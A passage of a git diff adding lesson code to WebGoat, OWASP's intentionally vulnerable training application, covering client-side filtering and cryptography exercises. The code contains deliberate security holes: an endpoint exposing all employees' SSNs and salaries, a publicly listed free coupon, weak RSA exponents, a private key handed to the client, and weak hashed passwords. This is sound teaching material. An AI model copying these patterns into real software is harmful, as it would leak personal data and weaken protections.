This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + *

+ * + * @author WebGoat + * @version $Id: $Id + * @since October 12, 2016 + */ +@Component +public class ClientSideFiltering extends Lesson { + + @Override + public Category getDefaultCategory() { + return Category.CLIENT_SIDE; + } + + @Override + public String getTitle() { + return "client.side.filtering.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/clientsidefiltering/ClientSideFilteringAssignment.java b/src/main/java/org/owasp/webgoat/lessons/clientsidefiltering/ClientSideFilteringAssignment.java new file mode 100644 index 000000000..fbe11da93 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/clientsidefiltering/ClientSideFilteringAssignment.java @@ -0,0 +1,49 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.clientsidefiltering; + +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({ + "ClientSideFilteringHint1", + "ClientSideFilteringHint2", + "ClientSideFilteringHint3", + "ClientSideFilteringHint4" +}) +public class ClientSideFilteringAssignment extends AssignmentEndpoint { + + @PostMapping("/clientSideFiltering/attack1") + @ResponseBody + public AttackResult completed(@RequestParam String answer) { + return "450000".equals(answer) + ? success(this).feedback("assignment.solved").build() + : failed(this).feedback("ClientSideFiltering.incorrect").build(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/clientsidefiltering/ClientSideFilteringFreeAssignment.java b/src/main/java/org/owasp/webgoat/lessons/clientsidefiltering/ClientSideFilteringFreeAssignment.java new file mode 100644 index 000000000..9db150279 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/clientsidefiltering/ClientSideFilteringFreeAssignment.java @@ -0,0 +1,55 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.clientsidefiltering; + +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author nbaars + * @since 4/6/17. + */ +@RestController +@AssignmentHints({ + "client.side.filtering.free.hint1", + "client.side.filtering.free.hint2", + "client.side.filtering.free.hint3" +}) +public class ClientSideFilteringFreeAssignment extends AssignmentEndpoint { + + public static final String SUPER_COUPON_CODE = "get_it_for_free"; + + @PostMapping("/clientSideFiltering/getItForFree") + @ResponseBody + public AttackResult completed(@RequestParam String checkoutCode) { + if (SUPER_COUPON_CODE.equals(checkoutCode)) { + return success(this).build(); + } + return failed(this).build(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/clientsidefiltering/Salaries.java b/src/main/java/org/owasp/webgoat/lessons/clientsidefiltering/Salaries.java new file mode 100644 index 000000000..bd4de62fc --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/clientsidefiltering/Salaries.java @@ -0,0 +1,112 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.clientsidefiltering; + +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import javax.annotation.PostConstruct; +import javax.xml.xpath.XPath; +import javax.xml.xpath.XPathConstants; +import javax.xml.xpath.XPathExpressionException; +import javax.xml.xpath.XPathFactory; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.core.io.ClassPathResource; +import org.springframework.util.FileCopyUtils; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; +import org.w3c.dom.Node; +import org.w3c.dom.NodeList; +import org.xml.sax.InputSource; + +@RestController +@Slf4j +public class Salaries { + + @Value("${webgoat.user.directory}") + private String webGoatHomeDirectory; + + @PostConstruct + public void copyFiles() { + ClassPathResource classPathResource = new ClassPathResource("lessons/employees.xml"); + File targetDirectory = new File(webGoatHomeDirectory, "/ClientSideFiltering"); + if (!targetDirectory.exists()) { + targetDirectory.mkdir(); + } + try { + FileCopyUtils.copy( + classPathResource.getInputStream(), + new FileOutputStream(new File(targetDirectory, "employees.xml"))); + } catch (IOException e) { + throw new RuntimeException(e); + } + } + + @GetMapping("clientSideFiltering/salaries") + @ResponseBody + public List> invoke() { + NodeList nodes = null; + File d = new File(webGoatHomeDirectory, "ClientSideFiltering/employees.xml"); + XPathFactory factory = XPathFactory.newInstance(); + XPath path = factory.newXPath(); + int columns = 5; + List> json = new ArrayList<>(); + java.util.Map employeeJson = new HashMap<>(); + + try (InputStream is = new FileInputStream(d)) { + InputSource inputSource = new InputSource(is); + + StringBuilder sb = new StringBuilder(); + + sb.append("/Employees/Employee/UserID | "); + sb.append("/Employees/Employee/FirstName | "); + sb.append("/Employees/Employee/LastName | "); + sb.append("/Employees/Employee/SSN | "); + sb.append("/Employees/Employee/Salary "); + + String expression = sb.toString(); + nodes = (NodeList) path.evaluate(expression, inputSource, XPathConstants.NODESET); + for (int i = 0; i < nodes.getLength(); i++) { + if (i % columns == 0) { + employeeJson = new HashMap<>(); + json.add(employeeJson); + } + Node node = nodes.item(i); + employeeJson.put(node.getNodeName(), node.getTextContent()); + } + } catch (XPathExpressionException e) { + log.error("Unable to parse xml", e); + } catch (IOException e) { + log.error("Unable to read employees.xml at location: '{}'", d); + } + return json; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/clientsidefiltering/ShopEndpoint.java b/src/main/java/org/owasp/webgoat/lessons/clientsidefiltering/ShopEndpoint.java new file mode 100644 index 000000000..1a0f4fa92 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/clientsidefiltering/ShopEndpoint.java @@ -0,0 +1,86 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.clientsidefiltering; + +import com.google.common.collect.Lists; +import java.util.List; +import java.util.Optional; +import lombok.AllArgsConstructor; +import lombok.Getter; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author nbaars + * @since 4/6/17. + */ +@RestController +@RequestMapping("/clientSideFiltering/challenge-store") +public class ShopEndpoint { + + @AllArgsConstructor + private class CheckoutCodes { + + @Getter private List codes; + + public Optional get(String code) { + return codes.stream().filter(c -> c.getCode().equals(code)).findFirst(); + } + } + + @AllArgsConstructor + @Getter + private class CheckoutCode { + private String code; + private int discount; + } + + private CheckoutCodes checkoutCodes; + + public ShopEndpoint() { + List codes = Lists.newArrayList(); + codes.add(new CheckoutCode("webgoat", 25)); + codes.add(new CheckoutCode("owasp", 25)); + codes.add(new CheckoutCode("owasp-webgoat", 50)); + this.checkoutCodes = new CheckoutCodes(codes); + } + + @GetMapping(value = "/coupons/{code}", produces = MediaType.APPLICATION_JSON_VALUE) + public CheckoutCode getDiscountCode(@PathVariable String code) { + if (ClientSideFilteringFreeAssignment.SUPER_COUPON_CODE.equals(code)) { + return new CheckoutCode(ClientSideFilteringFreeAssignment.SUPER_COUPON_CODE, 100); + } + return checkoutCodes.get(code).orElse(new CheckoutCode("no", 0)); + } + + @GetMapping(value = "/coupons", produces = MediaType.APPLICATION_JSON_VALUE) + public CheckoutCodes all() { + List all = Lists.newArrayList(); + all.addAll(this.checkoutCodes.getCodes()); + all.add(new CheckoutCode(ClientSideFilteringFreeAssignment.SUPER_COUPON_CODE, 100)); + return new CheckoutCodes(all); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/cryptography/CryptoUtil.java b/src/main/java/org/owasp/webgoat/lessons/cryptography/CryptoUtil.java new file mode 100644 index 000000000..6e13e57e3 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/cryptography/CryptoUtil.java @@ -0,0 +1,143 @@ +package org.owasp.webgoat.lessons.cryptography; + +import java.math.BigInteger; +import java.nio.charset.Charset; +import java.security.InvalidAlgorithmParameterException; +import java.security.KeyFactory; +import java.security.KeyPair; +import java.security.KeyPairGenerator; +import java.security.NoSuchAlgorithmException; +import java.security.PrivateKey; +import java.security.PublicKey; +import java.security.SecureRandom; +import java.security.Signature; +import java.security.interfaces.RSAPublicKey; +import java.security.spec.InvalidKeySpecException; +import java.security.spec.PKCS8EncodedKeySpec; +import java.security.spec.RSAKeyGenParameterSpec; +import java.util.Base64; +import javax.xml.bind.DatatypeConverter; +import lombok.extern.slf4j.Slf4j; + +@Slf4j +public class CryptoUtil { + + private static final BigInteger[] FERMAT_PRIMES = { + BigInteger.valueOf(3), + BigInteger.valueOf(5), + BigInteger.valueOf(17), + BigInteger.valueOf(257), + BigInteger.valueOf(65537) + }; + + public static KeyPair generateKeyPair() + throws NoSuchAlgorithmException, InvalidAlgorithmParameterException { + KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA"); + RSAKeyGenParameterSpec kpgSpec = + new RSAKeyGenParameterSpec( + 2048, FERMAT_PRIMES[new SecureRandom().nextInt(FERMAT_PRIMES.length)]); + keyPairGenerator.initialize(kpgSpec); + // keyPairGenerator.initialize(2048); + return keyPairGenerator.generateKeyPair(); + } + + public static String getPrivateKeyInPEM(KeyPair keyPair) { + String encodedString = "-----BEGIN PRIVATE KEY-----\n"; + encodedString = + encodedString + + new String( + Base64.getEncoder().encode(keyPair.getPrivate().getEncoded()), + Charset.forName("UTF-8")) + + "\n"; + encodedString = encodedString + "-----END PRIVATE KEY-----\n"; + return encodedString; + } + + public static String signMessage(String message, PrivateKey privateKey) { + + log.debug("start signMessage"); + String signature = null; + + try { + // Initiate signature verification + Signature instance = Signature.getInstance("SHA256withRSA"); + instance.initSign(privateKey); + instance.update(message.getBytes("UTF-8")); + + // actual verification against signature + signature = new String(Base64.getEncoder().encode(instance.sign()), Charset.forName("UTF-8")); + + log.info("signe the signature with result: {}", signature); + } catch (Exception e) { + log.error("Signature signing failed", e); + } + + log.debug("end signMessage"); + return signature; + } + + public static boolean verifyMessage( + String message, String base64EncSignature, PublicKey publicKey) { + + log.debug("start verifyMessage"); + boolean result = false; + + try { + + base64EncSignature = base64EncSignature.replace("\r", "").replace("\n", "").replace(" ", ""); + // get raw signature from base64 encrypted string in header + byte[] decodedSignature = Base64.getDecoder().decode(base64EncSignature); + + // Initiate signature verification + Signature instance = Signature.getInstance("SHA256withRSA"); + instance.initVerify(publicKey); + instance.update(message.getBytes("UTF-8")); + + // actual verification against signature + result = instance.verify(decodedSignature); + + log.info("Verified the signature with result: {}", result); + } catch (Exception e) { + log.error("Signature verification failed", e); + } + + log.debug("end verifyMessage"); + return result; + } + + public static boolean verifyAssignment(String modulus, String signature, PublicKey publicKey) { + + /* first check if the signature is correct, i.e. right private key and right hash */ + boolean result = false; + + if (modulus != null && signature != null) { + result = verifyMessage(modulus, signature, publicKey); + + /* + * next check if the submitted modulus is the correct modulus of the public key + */ + RSAPublicKey rsaPubKey = (RSAPublicKey) publicKey; + if (modulus.length() == 512) { + modulus = "00".concat(modulus); + } + result = + result + && (DatatypeConverter.printHexBinary(rsaPubKey.getModulus().toByteArray()) + .equals(modulus.toUpperCase())); + } + return result; + } + + public static PrivateKey getPrivateKeyFromPEM(String privateKeyPem) + throws NoSuchAlgorithmException, InvalidKeySpecException { + privateKeyPem = privateKeyPem.replace("-----BEGIN PRIVATE KEY-----", ""); + privateKeyPem = privateKeyPem.replace("-----END PRIVATE KEY-----", ""); + privateKeyPem = privateKeyPem.replace("\n", "").replace("\r", ""); + + byte[] decoded = Base64.getDecoder().decode(privateKeyPem); + + PKCS8EncodedKeySpec spec = new PKCS8EncodedKeySpec(decoded); + KeyFactory kf = KeyFactory.getInstance("RSA"); + return kf.generatePrivate(spec); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/cryptography/Cryptography.java b/src/main/java/org/owasp/webgoat/lessons/cryptography/Cryptography.java new file mode 100644 index 000000000..5e00a3f5e --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/cryptography/Cryptography.java @@ -0,0 +1,40 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.cryptography; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +@Component +public class Cryptography extends Lesson { + @Override + public Category getDefaultCategory() { + return Category.A2; + } + + @Override + public String getTitle() { + return "6.crypto.title"; // first lesson in general + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/cryptography/EncodingAssignment.java b/src/main/java/org/owasp/webgoat/lessons/cryptography/EncodingAssignment.java new file mode 100644 index 000000000..65c115c41 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/cryptography/EncodingAssignment.java @@ -0,0 +1,75 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.cryptography; + +import java.util.Base64; +import java.util.Random; +import javax.servlet.http.HttpServletRequest; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class EncodingAssignment extends AssignmentEndpoint { + + public static String getBasicAuth(String username, String password) { + return Base64.getEncoder().encodeToString(username.concat(":").concat(password).getBytes()); + } + + @GetMapping(path = "/crypto/encoding/basic", produces = MediaType.TEXT_HTML_VALUE) + @ResponseBody + public String getBasicAuth(HttpServletRequest request) { + + String basicAuth = (String) request.getSession().getAttribute("basicAuth"); + String username = request.getUserPrincipal().getName(); + if (basicAuth == null) { + String password = + HashingAssignment.SECRETS[new Random().nextInt(HashingAssignment.SECRETS.length)]; + basicAuth = getBasicAuth(username, password); + request.getSession().setAttribute("basicAuth", basicAuth); + } + return "Authorization: Basic ".concat(basicAuth); + } + + @PostMapping("/crypto/encoding/basic-auth") + @ResponseBody + public AttackResult completed( + HttpServletRequest request, + @RequestParam String answer_user, + @RequestParam String answer_pwd) { + String basicAuth = (String) request.getSession().getAttribute("basicAuth"); + if (basicAuth != null + && answer_user != null + && answer_pwd != null + && basicAuth.equals(getBasicAuth(answer_user, answer_pwd))) { + return success(this).feedback("crypto-encoding.success").build(); + } else { + return failed(this).feedback("crypto-encoding.empty").build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/cryptography/HashingAssignment.java b/src/main/java/org/owasp/webgoat/lessons/cryptography/HashingAssignment.java new file mode 100644 index 000000000..b83f931a8 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/cryptography/HashingAssignment.java @@ -0,0 +1,105 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.cryptography; + +import java.security.MessageDigest; +import java.security.NoSuchAlgorithmException; +import java.util.Random; +import javax.servlet.http.HttpServletRequest; +import javax.xml.bind.DatatypeConverter; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({"crypto-hashing.hints.1", "crypto-hashing.hints.2"}) +public class HashingAssignment extends AssignmentEndpoint { + + public static final String[] SECRETS = {"secret", "admin", "password", "123456", "passw0rd"}; + + @RequestMapping(path = "/crypto/hashing/md5", produces = MediaType.TEXT_HTML_VALUE) + @ResponseBody + public String getMd5(HttpServletRequest request) throws NoSuchAlgorithmException { + + String md5Hash = (String) request.getSession().getAttribute("md5Hash"); + if (md5Hash == null) { + + String secret = SECRETS[new Random().nextInt(SECRETS.length)]; + + MessageDigest md = MessageDigest.getInstance("MD5"); + md.update(secret.getBytes()); + byte[] digest = md.digest(); + md5Hash = DatatypeConverter.printHexBinary(digest).toUpperCase(); + request.getSession().setAttribute("md5Hash", md5Hash); + request.getSession().setAttribute("md5Secret", secret); + } + return md5Hash; + } + + @RequestMapping(path = "/crypto/hashing/sha256", produces = MediaType.TEXT_HTML_VALUE) + @ResponseBody + public String getSha256(HttpServletRequest request) throws NoSuchAlgorithmException { + + String sha256 = (String) request.getSession().getAttribute("sha256"); + if (sha256 == null) { + String secret = SECRETS[new Random().nextInt(SECRETS.length)]; + sha256 = getHash(secret, "SHA-256"); + request.getSession().setAttribute("sha256Hash", sha256); + request.getSession().setAttribute("sha256Secret", secret); + } + return sha256; + } + + @PostMapping("/crypto/hashing") + @ResponseBody + public AttackResult completed( + HttpServletRequest request, + @RequestParam String answer_pwd1, + @RequestParam String answer_pwd2) { + + String md5Secret = (String) request.getSession().getAttribute("md5Secret"); + String sha256Secret = (String) request.getSession().getAttribute("sha256Secret"); + + if (answer_pwd1 != null && answer_pwd2 != null) { + if (answer_pwd1.equals(md5Secret) && answer_pwd2.equals(sha256Secret)) { + return success(this).feedback("crypto-hashing.success").build(); + } else if (answer_pwd1.equals(md5Secret) || answer_pwd2.equals(sha256Secret)) { + return failed(this).feedback("crypto-hashing.oneok").build(); + } + } + return failed(this).feedback("crypto-hashing.empty").build(); + } + + public static String getHash(String secret, String algorithm) throws NoSuchAlgorithmException { + MessageDigest md = MessageDigest.getInstance(algorithm); + md.update(secret.getBytes()); + byte[] digest = md.digest(); + return DatatypeConverter.printHexBinary(digest).toUpperCase(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/cryptography/SecureDefaultsAssignment.java b/src/main/java/org/owasp/webgoat/lessons/cryptography/SecureDefaultsAssignment.java new file mode 100644 index 000000000..bb28f4202 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/cryptography/SecureDefaultsAssignment.java @@ -0,0 +1,59 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.cryptography; + +import java.security.NoSuchAlgorithmException; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({ + "crypto-secure-defaults.hints.1", + "crypto-secure-defaults.hints.2", + "crypto-secure-defaults.hints.3" +}) +public class SecureDefaultsAssignment extends AssignmentEndpoint { + + @PostMapping("/crypto/secure/defaults") + @ResponseBody + public AttackResult completed( + @RequestParam String secretFileName, @RequestParam String secretText) + throws NoSuchAlgorithmException { + if (secretFileName != null && secretFileName.equals("default_secret")) { + if (secretText != null + && HashingAssignment.getHash(secretText, "SHA-256") + .equalsIgnoreCase( + "34de66e5caf2cb69ff2bebdc1f3091ecf6296852446c718e38ebfa60e4aa75d2")) { + return success(this).feedback("crypto-secure-defaults.success").build(); + } else { + return failed(this).feedback("crypto-secure-defaults.messagenotok").build(); + } + } + return failed(this).feedback("crypto-secure-defaults.notok").build(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/cryptography/SigningAssignment.java b/src/main/java/org/owasp/webgoat/lessons/cryptography/SigningAssignment.java new file mode 100644 index 000000000..382ee3b16 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/cryptography/SigningAssignment.java @@ -0,0 +1,92 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.cryptography; + +import java.security.InvalidAlgorithmParameterException; +import java.security.KeyPair; +import java.security.NoSuchAlgorithmException; +import java.security.interfaces.RSAPublicKey; +import javax.servlet.http.HttpServletRequest; +import javax.xml.bind.DatatypeConverter; +import lombok.extern.slf4j.Slf4j; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({ + "crypto-signing.hints.1", + "crypto-signing.hints.2", + "crypto-signing.hints.3", + "crypto-signing.hints.4" +}) +@Slf4j +public class SigningAssignment extends AssignmentEndpoint { + + @RequestMapping(path = "/crypto/signing/getprivate", produces = MediaType.TEXT_HTML_VALUE) + @ResponseBody + public String getPrivateKey(HttpServletRequest request) + throws NoSuchAlgorithmException, InvalidAlgorithmParameterException { + + String privateKey = (String) request.getSession().getAttribute("privateKeyString"); + if (privateKey == null) { + KeyPair keyPair = CryptoUtil.generateKeyPair(); + privateKey = CryptoUtil.getPrivateKeyInPEM(keyPair); + request.getSession().setAttribute("privateKeyString", privateKey); + request.getSession().setAttribute("keyPair", keyPair); + } + return privateKey; + } + + @PostMapping("/crypto/signing/verify") + @ResponseBody + public AttackResult completed( + HttpServletRequest request, @RequestParam String modulus, @RequestParam String signature) { + + String tempModulus = + modulus; /* used to validate the modulus of the public key but might need to be corrected */ + KeyPair keyPair = (KeyPair) request.getSession().getAttribute("keyPair"); + RSAPublicKey rsaPubKey = (RSAPublicKey) keyPair.getPublic(); + if (tempModulus.length() == 512) { + tempModulus = "00".concat(tempModulus); + } + if (!DatatypeConverter.printHexBinary(rsaPubKey.getModulus().toByteArray()) + .equals(tempModulus.toUpperCase())) { + log.warn("modulus {} incorrect", modulus); + return failed(this).feedback("crypto-signing.modulusnotok").build(); + } + /* orginal modulus must be used otherwise the signature would be invalid */ + if (CryptoUtil.verifyMessage(modulus, signature, keyPair.getPublic())) { + return success(this).feedback("crypto-signing.success").build(); + } else { + log.warn("signature incorrect"); + return failed(this).feedback("crypto-signing.notok").build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/cryptography/XOREncodingAssignment.java b/src/main/java/org/owasp/webgoat/lessons/cryptography/XOREncodingAssignment.java new file mode 100644 index 000000000..d7e3ed94d --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/cryptography/XOREncodingAssignment.java @@ -0,0 +1,45 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it 